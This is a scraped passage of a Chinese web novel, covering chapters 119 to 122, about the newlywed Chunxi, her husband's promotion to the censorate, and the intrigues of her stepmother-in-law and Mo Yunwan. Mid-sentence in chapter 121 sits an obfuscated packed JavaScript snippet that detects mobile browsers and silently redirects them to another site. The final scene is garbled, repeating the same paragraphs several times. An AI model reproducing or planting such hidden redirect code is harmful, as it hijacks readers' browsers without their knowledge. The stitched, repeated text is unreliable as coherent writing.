莫氏尖声质问,沈清迟捏紧绢帕,小声解释:“女儿当时劝过了,大嫂根本不听我的,而且太傅夫人也不是真的喜欢女儿,就算大嫂不闹,她也不可能让女儿嫁进去。” “还不是因为你蠢,这么多年,你有一样能拿得出手的长处吗?我让你找机会跟那些公子接触,你听我的了吗?你三哥现在为了个女人都闹绝食了,你要是有那个贱人的手段,我至于一病不起吗?” “……” 沈清迟不说话了,只默默垂泪。 娘一口一个贱人地骂着,却希望她去学那下作手段,根本没有半点儿对她的心疼在意。 莫氏才不关心沈清迟是不是伤心难过了,看到她哭丧着脸越发来气,揉着太阳穴呵斥:“滚出去跪着,别在我面前哭丧!” 与此同时,萧家。 虽然是萧夫人让人送帖子请的春喜,春喜还是先去看的萧老夫人。 这一路春喜买了不少各地特产和小玩意儿,全都拿来给萧老夫人了,东西都挺便宜,但春喜口中那一路的风土人情和趣事却让萧老夫人听得入迷。 尤其是最后一只玉镯,虽然只值十几两银子,但是春喜和沈清渊一起挑的,萧老夫人爱不释手,当即就戴到了手上。 “我是真没想到渊儿竟然愿意带你一起去徐州,他这个人向来公是公,私是私,从不为谁破例,如今愿意这样对你,定然是非常喜欢你的。” 萧老夫人很是感慨,春喜不像其他新妇那样羞涩,大大方方地点头:“夫君确实待我很好,我也很喜欢夫君。” 萧老夫人越发喜欢春喜这种有什么就说什么的性子,她和蔼地笑起:“渊儿太沉闷了,如今有了你,日子总算是有滋有味儿了些,这次他立下大功,陛下也会重用他,以后没人再敢轻视你。” 春喜咧唇,与有荣焉地笑起:“肯定是我爹在天之灵保佑我,让我有幸嫁给了大人为妻。” 春喜又陪着萧老夫人说了好一会儿话,正打算起身告辞去见萧夫人,萧夫人却先一步来了松鹤院。 “我就知道阿喜来萧家,第一个就要先来见过母亲,儿媳左等右等都没等到人,想来是母亲和阿喜相谈甚欢,舍不得放人,儿媳便做主把晚宴设在松鹤院了,母亲不会怪罪儿媳吧?” 萧夫人面上也是带着笑的,对春喜的称呼也明显变得亲昵起来。 萧老夫人听出萧夫人对春喜的喜爱,笑着说:“我的确舍不得阿喜,你愿意陪着我们一起用饭那就太好了。” 萧夫人在萧老夫人身边落座,她先问了这次徐州之行两人是否遇到什么阻碍和危险,等春喜一一答完便道:“阿喜也是个有胆识的,能陪着渊儿走南闯北,难怪皇后娘娘会亲自下懿旨夸你,这次你们补办婚礼,我再给阿喜添两箱嫁妆。” 上次萧夫人已经给了两箱实打实的好东西,这次又给两箱,春喜实在有些不好意思,她连忙道:“嫂嫂实在太客气了,我已经得了嫂嫂许多好东西了,不能再要。” 她这会儿手上都还戴着萧清月的玛瑙镯子呢。 “你既叫我一声嫂嫂,就不该跟我客气,”萧夫人态度强硬,不等春喜开口又道,“昨日太傅府的事我已经听月儿说了,我那女婿确实不像话,这些算是我代卫家给你的赔礼,你安心收着,若是有时间,多约禾儿出来玩玩,你性子活泼,跟你在一起她能开心些。” 萧夫人已经从雀枝口中知道萧清禾婚后过得很不开心,但卫萧两家是世交,这桩婚事已经是一波三折了,她身为萧家主母,不能轻易对卫家发难,昨日春喜闹那一出是为萧清禾出气,不管春喜是出于什么样的动机,萧夫人都很感谢她。 春喜对卫凌泽无意,还能借着长辈的身份帮萧清禾撑腰,萧夫人自然是要好好笼络她的。 萧夫人提起昨日的事,几乎算是挑明了自己的态度,春喜便也不再推辞,应声道:“嫂嫂既然开了口,那我就不推辞了,我会多跟禾儿见面的。” 萧夫人放心下来,萧老夫人并未追问具体发生了身体,转移话题道:“离京之前我答应给你一些人手,帮你从你婆母手中把铺子夺回来,人都已经准备好了,你随时可以去朱雀街第一家茶楼要人。” 萧夫人当即道:“你要开什么铺子?萧家名下产业颇多,你若不懂,我可以教你。” 萧夫人一脸热切,恨不得直接从萧家铺子分一成利给春喜。 春喜连忙阻止萧夫人:“我没做过生意,才刚开始接触这些,哪用得着嫂嫂亲自教我呀,禾儿偶尔能指点我一下就足够了。” 萧清禾是得了萧夫人真传的,如此一来春喜还能有借口多跟萧清禾接触,萧夫人当即点头:“这倒也是,你与禾儿年岁相近,谈起事来更放松些。” 饭间春喜又说了这一路上的见闻,她语调轻快,描述准确又生动,让人身临其境,到最后离开时,萧夫人都有些舍不得了。 好不容易出了萧家,一掀马车帘,冷不丁看到沈清渊杵在车里,春喜吓了一跳:“夫君,你怎么来了?” 沈清渊哀怨地盯着春喜:“你一直不回来,我以为你丢下我跑了。” “……”??? 春喜鼻尖微动,果然闻到浓郁的酒气。 得,又喝醉了。 第119章 这里不行,回家再说 鉴于沈清渊有醉酒翻旧账的前科,春喜这次先发制人,故意板着脸道:“夫君不是答应我以后少喝酒吗,怎么又喝醉了?” 其实这几日沈清渊出去交际的次数比之前多多了,但一直很有分寸,只是浅尝,不曾喝醉。 若是清醒状态,沈清渊就能看出春喜是强撑的,但这会儿他醉了,便真以为春喜生气了,他自觉理亏,小心翼翼地拽了拽春喜的袖子:“夫人,别生气,都是太子殿下灌我酒的,我以后再也不跟他喝了。” 等等?太子殿下? 那不是他们的大金主和靠山吗,这可不能得罪啊。 春喜轻咳一声,改口道:“原来是太子殿下啊,那倒也不是不能喝,太子殿下喝醉了吗?” “应该醉了吧,最后殿下是被人抬走的。” “……” 把太子殿下喝趴下好像也不太好吧。 春喜陷入纠结,正不知该如何接话,沈清渊又拽了拽她的袖子:“夫人,不知道为什么,我今天特别特别想你,你现在准备好了吗,我们能圆房了吗?” “……”??? 这么重要的事,你也忘记了,所以喝醉酒的你和正常状态的你真的是一个人吗? 春喜从来没见过有人喝醉酒是沈清渊这样的,但沈清渊眼巴巴看着她的样子一点儿也不像正常时候那样沉稳,反而有点儿可怜兮兮的。 不过想到昨晚这人硬要她自己动,她累得腰差点儿断掉,春喜那点儿心疼就消散无踪,她轻咳一声说:“我还没有准备好,我们不能圆房,还有,为什么我只是晚点儿回家你就担心我会跑掉?” 许是觉得说出来有点儿丢人,沈清渊绷着脸不说话了,春喜越发好奇,循循善诱:“你我是夫妻,最重要的就是坦诚相待,你若是不肯告诉我,那就是不喜欢我,那我以后也不要喜欢你……” 最后一句话没说完,沈清渊就伸手捂住了春喜的嘴,急急道:“我跟你说,你别不喜欢我。” 春喜眨眨眼,表示同意,沈清渊这才继续道:“我年纪比你大很多,我怕你嫌我老,而且我性子也很沉闷,不会说什么甜言蜜语哄你开心,我怕你嫌我不够好。” 沈清渊越说情绪越低落,春喜却像是发现了新世界。 原来大人也会有这样的心思啊,她还以为他之前说不嫌弃、喜欢什么的就是在哄她开心呢。 春喜的心软了又软,拉开沈清渊的手飞快地亲了他一下:“我不嫌大人老,而且从大人嘴里说出来的话,我都觉得很甜,我可喜欢大人了。” 这话沈清渊也是爱听的。 他不满足于这个蜻蜓点水的吻,扣住春喜的脑袋继续索求。 虽然沈清渊的脑子不记得清醒时候的事,身体却已经和春喜有了默契,熟练地点起火来。 春喜不自觉软了身子,迷迷糊糊间听到沈清渊问:“夫人,可以吗?” 可以吗? 这对话似曾相识。 春喜猛然惊醒这是在马车上,连忙开口:“这里不行,回家再说!” 那就是回去就可以了。 沈清渊眸色变暗,吩咐车夫加快速度。 好不容易到家,沈清渊直接抱着春喜下车,快步朝问心院走去,门房却追过来说:“大少爷、夫人要见少夫人,请少夫人务必要去一趟。” “不去!” 沈清渊直接帮春喜拒绝,声音已然喑哑。 门房却不识趣,还是追上来说:“可是小姐一直在夫人院子里罚跪,少夫人若是不去,夫人是不会让小姐起来的。” 春喜猛然抬头,扯了扯沈清渊的衣襟:“夫君,我得去看看。” 沈清渊皱紧眉头,他早就是箭在弦上,忍这一路已经很难受了,实在不想被打扰,春喜却很坚持:“夫君,妹妹是受我牵连才被罚的,我不能不管她。” 沈清渊到底还是妥协,和春喜一起去了主院。 主院里,沈清迟跪了许久,又晒着太阳,这会儿已是小脸煞白,摇摇欲坠。 春喜连忙走过去扶她,沈清渊则越过春喜,一阵风地冲进屋里。 莫氏已在屋里摆好阵仗,就等着春喜回来好发火立威,没想到沈清渊竟然跟着一起来了。 饶是如此,莫氏也不害怕,她冷声道:“你来得正好,你看看你娶的好媳妇,我好心让她去太傅府赴宴露露脸,她竟然在太傅府撒泼打滚丢我们侯府的脸,我今天必须好好的……” 莫氏话没说完,沈清渊就掀了她手边的茶几。 动作之大,茶几险些砸到莫氏。 莫氏吓了一跳,贾嬷嬷连忙上前扶住莫氏,沈清渊没停,又抓起莫氏最喜欢的汝瓷花瓶砸了个粉碎。 莫氏和贾嬷嬷吓得惊叫出声,谁也没想到沈清渊会突然发飙,关键她什么都还没做啊。 “闭嘴!” 沈清渊冷声呵斥,眼神凌厉地扫来,莫氏和贾嬷嬷顿时不敢出声了。 沈清渊沉沉开口:“既然你养不好女儿,那就不用养了,以后她归我管,你再敢插手她的事,我就把你送去庵里养老!” 说完这句话,沈清渊出门,带着春喜和沈清迟离开。 莫氏惊魂未定,让贾嬷嬷出去打探情况,确定沈清渊已经走了,才嗷一嗓子哭出来:“这个逆子,他竟敢威胁我说要把我送进庵里,他还有没有良心啊,他娘死得早,这些年要不是我尽心尽力地操持,这个家早就散了,我还为侯爷生了两个儿子,他凭什么这么对我?” 莫氏捶着胸口哭喊,但更多的是害怕。 沈清渊毕竟是清远侯的嫡长子,一旦让他得到世子之位袭爵,侯府的大小事宜都得听他的,他如果真的狠了心要把莫氏送去庵里也不是没有可能。 贾嬷嬷连忙劝慰:“夫人别急,我刚刚闻到大少爷身上有很重的酒气,大少爷应该是又在撒酒疯呢。” “酒后吐真言,贾嬷嬷,他眼里真的从来都没有我这个继母!” 莫氏说着眼底迸发出恨意,贾嬷嬷还想再劝,丫鬟突然来报:“夫人,莫姑娘来了。” “她来做什么,让她滚!” “莫姑娘说,她能帮夫人解决烦恼。” 第120章 擢升为御史中丞 在卫家做丫鬟的时候春喜也被罚跪过,她处理这个很有经验。 把沈清迟放到床上后,就让人送来热水和活血化瘀的药膏。 膝盖一片乌青,腿无法伸直,稍微动一下就犹如无数根针在扎。 沈清迟皱着眉,死死咬唇没敢发出声音,但眼眶很红。 春喜拿了帕子一边帮她热敷,一边温声安慰:“现在是会有点儿疼,你忍一忍,等涂完药膏,休息一晚上,明日就能好很多,不会残废的,放心吧。” 沈清迟点点头,眼泪还是控制不住滚落。 她知道娘一直不太喜欢自己,也知道自己迟早要出嫁变成外人,所以早就逆来顺受,可今天看到大哥大嫂急匆匆地来救她,还为她顶撞母亲,她还是控制不住地委屈起来。 她不是天生喜欢受虐,她也是渴望被家人疼爱的。 哭了好一会儿,沈清迟才哑声开口:“大嫂,谢谢你。” “谢什么啊,母亲是因为我昨日在太傅府大闹了一场才罚你跪的吧,你也真是实诚,明知道不妙为什么不装病在屋里躲着呢,等我回来我自有法子应对。” 说着话,春喜挖了一大坨药膏,在掌心化开然后抹在沈清迟膝上。 她的动作麻利,力道却很温柔,沈清迟只感觉到很轻微的痛意。 心脏被酸酸胀胀的情绪填满,沈清迟偏头不再看春喜:“躲不开的,不管怎么说她都是我娘,就算我逃到天涯海角,身上流着的也还是她的血。” “没什么躲不开的,我娘在我们那片街是出了名的泼辣难缠,但我比她更会撒泼,她如今就拿我没有办法。” 春喜直接反驳,沈清迟沉默半晌说:“那是因为我大哥愿意为你撑腰。” “对啊,这就是我嫁给你大哥的原因,我娘喜欢的是那种愚孝听话的女婿,我要是听我娘的,哪能有今天的好日子?” 听出春喜的言外之意,沈清迟又不作声了。 春喜也没继续劝,只道:“你大哥今日已经跟母亲说了,以后你的事都由我们管,但如果你没办法相信我们,那就当你大哥是撒酒疯吧。” 春喜说完起身离开,走到门口,她又回头对沈清迟说了一句:“妹妹的牡丹花绣得很漂亮。” 沈清迟的院子在侯府最角落的位置,屋里陈设很简单,靠窗摆放着一张巨大绣床。 她学什么东西都没有天赋,唯一的优点就是听话、坐得住,莫氏就让她苦练女红。 她练了很多年,直到技艺有所成,才做了很多绢帕、荷包送给那些世家小姐,好与她们拉近关系,却不想那些世家小姐私下却笑话她身为侯府千金,干的却是绣娘的活。 莫氏听闻后狠狠骂了她一通,骂她没用,除了给侯府增添笑料,一无是处。 可她独处时还是喜欢绣点儿东西。 春喜的夸赞像是撕裂黑暗的一束光,温暖地将她笼罩。 她知道大嫂是想拉她一把,让她不要再陷在这样的泥淖之中,可她实在是太胆小了,竟连把手交出去的勇气都没有。 沈清迟蜷缩成一团,把脑袋埋进被子里,低低地呜咽出声。 对不起,大嫂,我辜负了你的好意。 沈清渊不方便进沈清迟的闺房,一直在外面等着,见春喜出来,立刻迎上来抓住春喜的手,有些不高兴:“夫人在屋里待了好久。” 这些事是可以让大夫来做的,不需要她亲自动手。 春喜顺着他的话说:“抱歉,让夫君久等了,我们回去吧。” 沈清渊敏锐地察觉到春喜的情绪不高,停下步子问:“夫人不高兴?” “没有。” 春喜否认,沈清渊却很执拗:“你有!” 他虽然喝醉了,但洞察力还在,绝不会判断失误。 春喜无奈,只能如实道:“我只是觉得这个世道对女子太不公平了,哪怕是血缘至亲,也薄凉得可怕。” 她娘如此,莫氏也是如此。 沈清渊把春喜抱进怀里,揉了揉她的脑袋:“夫人放心,有为夫在,以后没人能欺负你,而且等我们有了女儿,我也一定好好待她,绝不让她受分毫委屈。” 沈清渊的安慰很有力量。 春喜的情绪好了很多,但很快就发现有些不对劲。 “夫君,你离我远点儿。” 沈清渊不太愿意,一脸受伤的瞪着春喜,春喜轻咳两声,目光从沈清渊的胸口移到腰腹以下。 “抱歉,”沈清渊立刻道歉,随后又委屈地说,“我也没办法,自从夫人答应回家跟我那个……唔!” 春喜连忙捂住沈清渊的嘴把他拖回问心院。 夫君,以后还是别喝酒了吧,不然你这名声迟早要完! 又是一夜折腾,第二日春喜睡到日上三竿才起。 她刚洗漱完,宫里就来人传旨。 等她和沈清渊赶到前厅,莫氏和侯府众人都已经在了,多日未曾露面的莫芸婉竟也站在莫氏身后。 “陛下下旨,你们却姗姗来迟,真是好大的派头!” 莫氏冷声呵斥,她知道这次的圣旨应该是提拔沈清渊的,想到昨日沈清渊说要把她送去庵里养老,心里膈应极了。 沈清渊没有理会莫氏,带着春喜跪下,负责宣旨的公公睨了莫氏一眼,莫氏连忙带着众人一起跪下。 “奉天承运,皇帝诏曰,京兆府长史沈清渊,少年及第,惊才绝艳,入京兆府十年破获大小案件无数,沉稳低调、不骄不躁,今又破获徐州贪污案,乃朝廷不可多得的栋梁之才,从即日起,擢升入御史台,任御史中丞,行分察百僚、纠视刑狱、肃整朝仪之责,钦此!” “微臣接旨,谢主隆恩。” 沈清渊接了旨起身,春喜则拿了赏银给传旨的公公,公公笑着道喜,说了一番吉祥话。 莫氏笑不出来,只觉得刺耳至极。 她知道沈清渊这次会升官,但没想到陛下直接把他升进了御史台,还是正三品的御史中丞,那是多少人挤破脑袋都想得到的位置啊。 沈清渊到了如此高位,越儿却还没有考取功名,如何还有希望争得世子之位袭爵? 莫氏的脸色很难看,莫芸婉上前扶住莫氏:“姑母,表哥高升也是侯府之喜,姑母应该高兴才是。” 听到这话,莫氏硬挤出一抹笑容。 第121章 姑侄俩一起算计 在莫芸婉的提醒之下,莫氏下令给侯府所有下人都涨了半个月的月钱,还派人去成衣铺请人来给府上的主子置办新衣,做足了慈母姿态。 然而主院里,却是一片阴云笼罩,莫氏不满地瞪着莫芸婉:“你说能帮我解决糟心事,这就是你想的办法?” 她做了这么多年的侯府主母,她能不知道要做足表面功夫吗? 可现在沈清渊一下子做到了御史中丞的位置,她在后院耍这些花招有什么用,能把越儿宇儿送上比沈清渊更高的位置吗? 莫氏越想越觉得头疼,莫芸婉上前帮她按摩脑袋,柔声劝慰:“表哥十七岁就高中状元,的确是个有本事的人,哪怕在京兆府十年也无法掩埋他的才华。” 莫氏并不想听莫芸婉夸沈清渊,不高兴地啧了一声,莫芸婉立刻加快语速:“表哥在官场上的事咱们管不了,但曹春喜却是个见识浅薄的泼妇,让她犯错出丑并不是什么难事,表哥越是爱重她,就越容易被她连累。” 莫氏自然也懂得这个道理,当初她私下促成这门婚事就是希望让曹春喜给沈清渊丢脸的。 可她低估了曹春喜,自曹春喜过门,几次交锋她都落了下风,沈清渊不仅没有丢丑,还立功高升了,曹春喜更是抓住一切机会捞了许多好处,哪有半点儿拖累沈清渊的样子? 这般想着,莫氏冷哼出声:“曹春喜要是真这么好对付,你怎么还会不要脸地祸害我的宇儿?” 莫芸婉表情一僵,而后道:“我不是输给曹春喜,而是输给了表哥,表哥对曹春喜情根深种,又对我存有偏见,我就算使出浑身解数也没用,但眼下情况不同,表哥越喜欢曹春喜,对咱们就越有利。” 莫氏不说话了,觑着莫芸婉等着下文。 莫芸婉立刻道:“按照惯例,表哥高升,咱们府上要准备擢升宴,但姑母近来一直缠绵病榻,精神实在不济,这擢升宴可以名正言顺地让曹春喜来操持,她之前就是卫家的一个小丫鬟,哪懂得这些,到时随便出点儿岔子,不就会沦为所有人的笑柄吗?” “你以为我没有想到这些吗,曹春喜这个人看着莽撞冲动,实则极有城府,若是我们暗中捣鬼被她发现,到时事发丢脸的指不定是谁呢。” 莫氏在春喜手里吃了好几次亏,觉得莫芸婉的提议很不可靠。 莫芸婉笑了笑说:“我们不用做什么,只需要等她把这件事做完,到时挑刺就好了,这世界上哪有人能把一事做到十全十美的?” 这宴席钱花多了、或是宾客座位安排得不妥当,招待 不周,都是会被人诟病的。 操持不好宴席虽然罪不至死,但在世家夫人面前丢了颜面,日后莫氏想要拿捏春喜就容易多了。 莫氏心念微动,又听到莫芸婉说:“而且迟儿妹妹和她的关系不是挺好的吗,若是迟儿妹妹‘不小心’提了一些不好的建议,她难道还忍心当着那么多宾客的面把所有的过错都怪到迟儿妹妹身上吗?” 莫氏想到昨日春喜和沈清渊为了沈清迟在主院大闹的场景,眼底闪过狠意。 是啊,她这个女儿胆小又怯懦,哪有什么坏心思? 就算出了什么错,也得曹春喜这个做大嫂的扛着才对。 莫氏心里有了谱,又对莫芸婉阴阳怪气起来:“流落在外这些年,你还真是学了不少歹毒手段,你帮我对付曹春喜,我可以给你钱让你离开瀚京找个地方安定下来,但你想嫁给宇儿,门儿都没有!” 莫芸婉早就料到莫氏会有如此反应,她弯了弯眸道:“姑母,对付曹春喜可不是一日两日的事,只有让我过门,我才能更好地帮你,而且我爹娘也会记着这份情,利用莫家的人脉帮你达成心愿。” “不可能,你当年干了那么多见不得人的事,宇儿绝不能娶你这样的女人为妻。” 莫氏态度坚决,对莫芸婉很是看不起,莫芸婉笑出声来:“说起当**,还要多亏姑母帮忙遮掩,我才能和情郎双宿**,而表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613844|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥不仅背负了克妻的罪名,还赔了莫家许多钱,要是表哥知道真相,不知会如何对姑母呢。” “你在威胁我?” 莫氏眯了眯眸,眼底一片阴翳,莫芸婉摇头,又放软语气。 “姑母,我也是年少无知,被人欺骗的可怜人,我如今只想回京给双亲尽孝,我向姑母保证,我会喝下绝子汤,等过几年,姑母心愿达成,可以让宇儿以无子的名义休了我,到时清越袭爵,宇儿还能迎娶门第更高的贵女为妻,我的存在对他并没有任何影响,不是吗?” 莫芸婉说着跪在莫氏面前,落下两行清泪:“姑母,我是怀着赎罪的心回来的,我保证过门后不会缠着宇儿,还会让他把心思都放在学业上,我就尽心尽力帮着姑母对付曹春喜,行吗?” 莫芸婉说得情真意切,莫氏还真有些心动。 一来她确实觉得春喜对付起来有些棘手,需要有个人一起出谋划策,二来她也想要一个可以被推出去当替死鬼的人。 万一她斗不过春喜,还被沈清渊发现,那莫芸婉就是最好的替罪人选。 思索良久,莫氏沉吟道:“你在我面前哭没有用,我得先看看你的能耐。” 言下之意,这次擢升宴,如果莫芸婉能大挫春喜的锐气,莫氏就会考虑让她过门。 莫芸婉破涕为笑:“姑母放心,我一定不会让你失望的。” 姑侄俩又细细合计了一番,莫氏兴奋得一夜未睡,第二天等沈清渊去了御史台赴任,立刻让贾嬷嬷去问心院找春喜。 贾嬷嬷却又扑了个空:“少夫人不在家,大少爷刚走,少夫人就也出门去了。” “出门了?”莫氏惊叫出声,怀疑自己的耳朵出了问题,“她一个妇道人家,不在家好好待着,成天往外跑像什么话,还不赶紧派人去把她给我找回来!” 贾嬷嬷现在有点怵春喜,小声问:“万一少夫人不肯回来怎么办?” 莫氏气的拍桌:“那就想办法把她给我带回来!” 第122章 不如把掌家权一起交给我 春喜带着萧老夫人帮忙物色的掌柜去了铺子上。 萧老夫人给的人果然厉害,原来的掌柜都被替换下来,各个铺子的账目也都大致清算了一遍。 贾嬷嬷带人找到春喜时,一群被替换下来的掌柜正堵着春喜不肯让开。 “少夫人,我们都是跟了夫人多年的老人,你怎么能擅作主张把我们替换掉呢?” “我们都听说了,少夫人你出身不高,年纪又小,一点儿阅历都没有,这样急于掌权是会吃大亏的,若是这些铺子在少夫人手里垮掉,少夫人负得起这个责吗?” 这些人也都是老油条,仗着有莫氏撑腰,根本不把春喜放在眼里,你一言我一语地就想把春喜吓退。 贾嬷嬷远远地看到这群掌柜就知道事情不妙,正想先一步赶回去给莫氏报信,却被春喜叫住:“贾嬷嬷,是母亲派你来寻我的吗,你来了怎么也不说一声?” 春喜一出声,这群掌事立刻围到贾嬷嬷身边大吐苦水,要贾嬷嬷帮他们主持公道。 贾嬷嬷是莫氏的陪嫁嬷嬷,很多时候都能代替莫氏做决定,若是放在以前,贾嬷嬷肯定会跟春喜唱反调,支持这些人把铺子夺回来,但见识过春喜的厉害后,贾嬷嬷就不敢说这话了。 “大家不要着急,今日之事夫人还不知道呢,待我和少夫人回去跟夫人说明情况,夫人自然会给大家一个满意的答复。” 贾嬷嬷没有直接表明态度,这些掌柜都不安起来。 “贾嬷嬷,你是夫人身边的老人,应该知道这些年我们为夫人做事一向是尽心尽力,现在少夫人突然把我们换掉,这不是卸磨杀驴吗?” “是啊,贾嬷嬷,我上个月才得了孙子,儿子又不争气,一家老小都瞪着我养活呢,夫人不能由着少夫人解雇我们啊。” 这些人话里是带着怨念的。 本来他们只是拿钱做事,铺子东家换成谁都没关系,只要按时给他们发工钱就好,可莫氏暗中授意,不让他们听少夫人的吩咐,少夫人这才另外找人替换掉他们。 若是丢了差事,那就是莫氏害了他们。 不得到一个可靠的说法,他们今天是不会罢休的。 这些人越说越激动,贾嬷嬷有些应付不了,只能求助地看向春喜:“少夫人,这件事你也没提前跟夫人商量,现在该怎么办你倒是说句话呀。” 贾嬷嬷说到底也只是个下人,春喜没有为难她,淡声开口:“诸位都是我母亲手下的人,既然诸位对这件事有疑虑,不如跟我一起回侯府,与母亲当面说清 楚。” 这种事宜早不宜迟,几个掌柜对视一眼,当即决定跟着春喜回侯府。 贾嬷嬷本是来寻春喜的,这会儿见春喜带着一大群掌柜往侯府去,心里反倒生出不安来,但春喜并不给她回去报信的机会,好心道:“嬷嬷一路辛苦了,跟我一起坐马车回去吧。” 说完也不等贾嬷嬷拒绝,直接拽着贾嬷嬷坐上马车。“ 主院里,莫氏等了一上午,早就等得着急上火,忍不住跟莫芸婉吐槽:“你看看她眼里哪里有我这个婆母,要是这次擢升宴真让她出尽风头,以后指不定爬到我头上怎么作威作福呢。” 莫芸婉当即道:“所以我们要趁这次机会,让她丢尽脸面,再不敢在姑母面前放肆。” 莫氏对春喜越是不满,莫芸婉的出谋划策就越会显得重要起来。 莫芸婉一边安慰莫氏,一边吩咐厨房做一碗银耳莲子羹来给莫氏清清火,自己也帮着莫氏按摩着。 不知过了多久,银耳莲子羹送来,门房也来禀报:“夫人,大少夫人回来了。” 终于回来了。 莫氏马上就要把春喜叫进来训话,莫芸婉却把莲子羹往莫氏面前送了送,冷声道:“让她先在外面等着,姑母这会儿不想见她。” 莫氏顿时看莫芸婉顺眼了很多,她这个做婆母的,在新妇面前就是应该这样。 莫氏端起莲子羹准备慢慢品尝,下一刻,一大群人呼啦涌进主院。 那些掌柜见到莫氏就跟见到亲人一样,一个个争先恐后地诉起苦来。 莫氏被吵得脑瓜子嗡嗡的,过了好一会儿终于听明白。 曹春喜一声不吭把她铺子上的掌柜都换了,这是要**啊! 春喜一进来,莫氏就急急的质问出声:“这些掌柜都是对侯府忠心耿耿的老人,你才进门几日,谁给你的胆子竟敢解雇他们?” “夫君的亲娘留下的嫁妆里有好些铺子,婚后夫君就把这些铺子交给我打理,在去徐州之前,我就通知铺子里的掌柜把账目交给我过目,但几个月过去了,他们全都当耳旁风,我还以为他们是要把铺子据为己有,原来他们都是母亲的人啊。” 春喜并不害怕莫氏生气,这一番话直接把莫氏想侵占萧氏嫁妆的心思摆到了台面上。 莫氏气得砸了那碗莲子羹:“你少在这里指桑骂槐,你年纪小,出身又不好,怎么管得好铺子,这些掌柜不敢把账簿给你,那也是为了侯府好!” 沈清渊把萧氏的嫁妆都要了回去,那些死物虽然贵重但不好出手,莫氏就指着这些铺子赚钱呢。 莫芸婉顺势开口:“是啊表嫂,表哥刚刚高升,你还要忙着操持擢升宴的事,哪有精力管理铺子啊。” “你们要我来操持擢升宴?” 春喜有些意外。 沈清渊进了御史台,这次来参加擢升宴的宾客身份都不会低,这是极好的发展人脉的机会,春喜还以为莫氏会牢牢攥在手里,没想到她竟然愿意让给自己。 莫芸婉只觉得春喜是想要借机大出风头,点头道:“姑母病了数日,精力不济,这擢升宴自然应该让嫂嫂操持才是。” 莫氏现在满脑子都是铺子的事,她把话题拉回来:“让你办擢升宴是给你机会露脸,你专心办这一件事就行,铺子的事我自有安排。” 春喜弯眸:“既然母亲连擢升宴都操持不了,这些铺子肯定更无暇打理了,府中事务也很繁杂,母亲不如把掌家权一并交给我吧。” 莫氏:“……” 你怎么不说要天上的星星? 楚。” 这种事宜早不宜迟,几个掌柜对视一眼,当即决定跟着春喜回侯府。 贾嬷嬷本是来寻春喜的,这会儿见春喜带着一大群掌柜往侯府去,心里反倒生出不安来,但春喜并不给她回去报信的机会,好心道:“嬷嬷一路辛苦了,跟我一起坐马车回去吧。” 说完也不等贾嬷嬷拒绝,直接拽着贾嬷嬷坐上马车。“ 主院里,莫氏等了一上午,早就等得着急上火,忍不住跟莫芸婉吐槽:“你看看她眼里哪里有我这个婆母,要是这次擢升宴真让她出尽风头,以后指不定爬到我头上怎么作威作福呢。” 莫芸婉当即道:“所以我们要趁这次机会,让她丢尽脸面,再不敢在姑母面前放肆。” 莫氏对春喜越是不满,莫芸婉的出谋划策就越会显得重要起来。 莫芸婉一边安慰莫氏,一边吩咐厨房做一碗银耳莲子羹来给莫氏清清火,自己也帮着莫氏按摩着。 不知过了多久,银耳莲子羹送来,门房也来禀报:“夫人,大少夫人回来了。” 终于回来了。 莫氏马上就要把春喜叫进来训话,莫芸婉却把莲子羹往莫氏面前送了送,冷声道:“让她先在外面等着,姑母这会儿不想见她。” 莫氏顿时看莫芸婉顺眼了很多,她这个做婆母的,在新妇面前就是应该这样。 莫氏端起莲子羹准备慢慢品尝,下一刻,一大群人呼啦涌进主院。 那些掌柜见到莫氏就跟见到亲人一样,一个个争先恐后地诉起苦来。 莫氏被吵得脑瓜子嗡嗡的,过了好一会儿终于听明白。 曹春喜一声不吭把她铺子上的掌柜都换了,这是要**啊! 春喜一进来,莫氏就急急的质问出声:“这些掌柜都是对侯府忠心耿耿的老人,你才进门几日,谁给你的胆子竟敢解雇他们?” “夫君的亲娘留下的嫁妆里有好些铺子,婚后夫君就把这些铺子交给我打理,在去徐州之前,我就通知铺子里的掌柜把账目交给我过目,但几个月过去了,他们全都当耳旁风,我还以为他们是要把铺子据为己有,原来他们都是母亲的人啊。” 春喜并不害怕莫氏生气,这一番话直接把莫氏想侵占萧氏嫁妆的心思摆到了台面上。 莫氏气得砸了那碗莲子羹:“你少在这里指桑骂槐,你年纪小,出身又不好,怎么管得好铺子,这些掌柜不敢把账簿给你,那也是为了侯府好!” 沈清渊把萧氏的嫁妆都要了回去,那些死物虽然贵重但不好出手,莫氏就指着这些铺子赚钱呢。 莫芸婉顺势开口:“是啊表嫂,表哥刚刚高升,你还要忙着操持擢升宴的事,哪有精力管理铺子啊。” “你们要我来操持擢升宴?” 春喜有些意外。 沈清渊进了御史台,这次来参加擢升宴的宾客身份都不会低,这是极好的发展人脉的机会,春喜还以为莫氏会牢牢攥在手里,没想到她竟然愿意让给自己。 莫芸婉只觉得春喜是想要借机大出风头,点头道:“姑母病了数日,精力不济,这擢升宴自然应该让嫂嫂操持才是。” 莫氏现在满脑子都是铺子的事,她把话题拉回来:“让你办擢升宴是给你机会露脸,你专心办这一件事就行,铺子的事我自有安排。” 春喜弯眸:“既然母亲连擢升宴都操持不了,这些铺子肯定更无暇打理了,府中事务也很繁杂,母亲不如把掌家权一并交给我吧。” 莫氏:“……” 你怎么不说要天上的星星? 楚。” 这种事宜早不宜迟,几个掌柜对视一眼,当即决定跟着春喜回侯府。 贾嬷嬷本是来寻春喜的,这会儿见春喜带着一大群掌柜往侯府去,心里反倒生出不安来,但春喜并不给她回去报信的机会,好心道:“嬷嬷一路辛苦了,跟我一起坐马车回去吧。” 说完也不等贾嬷嬷拒绝,直接拽着贾嬷嬷坐上马车。“ 主院里,莫氏等了一上午,早就等得着急上火,忍不住跟莫芸婉吐槽:“你看看她眼里哪里有我这个婆母,要是这次擢升宴真让她出尽风头,以后指不定爬到我头上怎么作威作福呢。” 